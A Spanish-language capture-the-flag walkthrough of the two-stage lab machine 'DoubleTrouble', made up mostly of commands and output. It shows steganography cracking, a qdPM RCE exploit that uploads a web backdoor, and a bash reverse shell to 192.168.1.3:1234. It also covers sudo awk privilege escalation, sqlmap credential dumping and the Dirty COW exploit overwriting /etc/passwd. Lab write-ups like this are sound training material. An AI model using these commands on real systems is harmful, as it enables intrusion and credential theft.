076 - DoubleTrouble

Esta máquina encadena dos VMs: la primera nos da acceso a un .ova que importamos para la segunda.

Enumeramos puertos de la primera:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.17
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.17
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-19 22:27 -04
Nmap scan report for 192.168.1.17
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: qdPM | Login
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds

❯ gobuster dir -u 'http://192.168.1.17' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/secret               (Status: 200) [Size: 955]
...

En /secret hay una imagen con datos esteganografiados:

❯ stegseek -wl ~/Documentos/wordlists/rockyou.txt doubletrouble.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "92camaro"
[i] Original filename: "creds.txt".
[i] Extracting to "doubletrouble.jpg.out".

❯ cat doubletrouble.jpg.out
otisrush@localhost.com
otis666

El login es qdPM 9.1. Con esas credenciales, usamos el exploit de RCE autenticado (CVE-2020-7246):

❯ searchsploit qdPM 9.1
...
qdPM 9.1 - Remote Code Execution (RCE) (Authenticated) (v2) | php/webapps/50944.py
...

❯ python3 50944.py -url http://192.168.1.17/ -u otisrush@localhost.com -p otis666
...
Backdoor uploaded at - > http://192.168.1.17/uploads/users/787004-backdoor.php?cmd=whoami

Lanzamos una reverse shell:

http://192.168.1.17/uploads/users/787004-backdoor.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.3/1234%200%3E%261%22

Para escalar, revisamos sudo -l:

www-data@doubletrouble:/$ sudo -l
...
User www-data may run the following commands on doubletrouble:
    (ALL : ALL) NOPASSWD: /usr/bin/awk

Escalamos con awk:

www-data@doubletrouble:/$ sudo awk 'BEGIN {system("bin/bash")}'
root@doubletrouble:/#

En /root hay un .ova de una segunda máquina, que descargamos e importamos en VirtualBox. Enumeramos sus puertos:

❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.18
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
...

Su login es vulnerable a SQL Injection, que explotamos con sqlmap para volcar credenciales:

❯ sqlmap -u http://192.168.1.18/index.php --forms -dbs -D doubletrouble -dump
Database: doubletrouble
Table: users
[2 entries]
+----------+----------+
| password | username |
+----------+----------+
| GfsZxc1  | montreux |
| ZubZub99 | clapton  |
+----------+----------+

Solo la de clapton es válida por SSH:

❯ ssh clapton@192.168.1.18
clapton@192.168.1.18's password: ZubZub99
clapton@doubletrouble:~$

Obtenemos la flag de usuario. El kernel es muy antiguo (3.2.0), vulnerable a Dirty COW. Usamos el exploit de firefart, que reescribe /etc/passwd:

clapton@doubletrouble:/home$ uname -r
3.2.0-4-amd64

clapton@doubletrouble:/tmp$ wget http://192.168.1.3:8000/dirty.c
clapton@doubletrouble:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
clapton@doubletrouble:/tmp$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 1234
Complete line:
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash
mmap: 7f3e14c21000

clapton@doubletrouble:/tmp$ su firefart
Password:
firefart@doubletrouble:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@doubletrouble:/tmp# mv /tmp/passwd.bak /etc/passwd

Obtenemos nuestra flag.

Fin.